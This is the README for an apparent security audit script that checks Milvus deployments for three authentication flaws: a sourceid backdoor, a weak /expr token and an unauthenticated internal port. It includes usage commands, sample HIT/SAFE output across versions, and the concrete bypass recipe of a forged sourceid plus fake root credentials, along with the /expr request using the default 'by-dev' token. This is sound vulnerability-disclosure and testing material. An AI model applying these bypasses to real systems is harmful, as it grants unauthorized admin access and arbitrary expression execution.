
نص برمجي للكشف عن أمان المصادقة في Milvus: CVE-2025-64513 (باب خلفي في sourceid) / CVE-2026-26190 (token ضعيف في /expr) / المنفذ الداخلي 53100
سكربت فحص أمان المصادقة في Milvus. يكتشف ثلاثة عيوب في المصادقة:
| العيب | CVE | الإصدارات المتأثرة | طريقة الكشف |
|---|---|---|---|
| تجاوز المصادقة عبر الباب الخلفي sourceid | CVE-2025-64513 | < 2.4.24 / < 2.5.21 / < 2.6.5 | gRPC ListDatabases + حقن sourceid |
| رمز token ضعيف لنقطة /expr على منفذ الإدارة | CVE-2026-26190 | < 2.5.27 / < 2.6.10 | HTTP /expr?code=1%2B1&auth=by-dev (يتطلب ترميز معامل code بترميز URL) |
| المنفذ الداخلي rootcoord 53100 بدون مصادقة | — | < 2.6.10 (لم يعد يُستمع عليه منذ 2.6.10) | اتصال gRPC مباشر بـ RootCoordService |
# proxy 层检测(sourceid 后门 + /expr 弱 token)
python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 --mgmt-port 9091
# 完整检测(含内部端口,需容器网络内可达)
python3 milvus-auth-audit.py --host <容器IP> --port 19530 --mgmt-port 9091 --internal-port 53100
المعلمات:
--host: عنوان proxy الخاص بـ Milvus--port: منفذ gRPC الخاص بـ proxy (الافتراضي 19530)--mgmt-port: منفذ الإدارة (الافتراضي 9091، يقع /expr هنا)--internal-port: المنفذ الداخلي (الافتراضي 53100 لـ rootcoord، مرر 0 للتخطي)--cve-check: إخراج وصف الإصدارات المتأثرة بالـ CVEpip install grpcio protobuf
تتطلب استدعاءات gRPC كود Python مولّدًا من تعريفات proto (milvus_pb2_grpc.py وroot_coord_pb2_grpc.py وغيرها)، ويوضع في مجلد فرعي proto/ في نفس دليل السكربت. طريقة التوليد:
# 1. 拉 milvus-proto 仓库
git clone https://github.com/milvus-io/milvus-proto.git
# 2. 拉 milvus 源码(内部 proto:root_coord.proto / internal.proto / proxy.proto 等)
git clone https://github.com/milvus-io/milvus.git
# 3. 生成(milvus 内部 proto 在 milvus/pkg/proto/ 下)
pip install grpcio-tools
python3 -m grpc_tools.protoc -I milvus-proto/proto -I milvus/pkg/proto \
--python_out=proto --grpc_python_out=proto \
milvus-proto/proto/milvus.proto milvus/pkg/proto/root_coord.proto \
milvus/pkg/proto/internal.proto milvus/pkg/proto/proxy.proto
=== 2.6.4 ===
[*] 目标: 172.22.0.4:19530 管理端口: 9091
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 后门绕过认证, 数据库=['default'] -> HIT
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 3 个可利用认证缺陷
=== 2.6.5 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 2 个可利用认证缺陷
=== 2.6.10 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 已默认禁用 -> SAFE
[exploit] 端口不可达 -> SAFE
[+] 未发现认证缺陷
validSourceID() في internal/proxy/authentication_interceptor.go ترأس sourceId، وعندما تكون القيمة بعد فك ترميز base64 مساوية لـ @@milvus-member@@ يتم تخطي فرع المصادقة بالكامل. هذه آلية ثقة متبادلة بين المكونات الداخلية (PerRPCCredentials في grpcclient/auth.go)، لكنها بلا تحقق من المصدر ويمكن تزويرها من الخارج. سلسلة الاستغلال الكاملة: sourceid + authorization=base64("root:كلمة مرور مزيفة") = full admin (يتجاوز proxy التحقق ويمرر الهوية المزيفة كما هي)./expr على منفذ الإدارة 9091، رمز المصادقة مشتق من etcd.rootPath (الافتراضي by-dev) وهو قابل للتنبؤ تمامًا، ويمكن تنفيذ أي تعبير بلغة expr-lang. منذ الإصدار 2.6.10 يتحكم فيه common.security.exprEnabled وهو معطل افتراضيًا.للاستخدام فقط في فحوصات الأمان على البيئات المرخّصة. لا تستخدمه على أنظمة غير مرخّصة.
AuthenticationInterceptor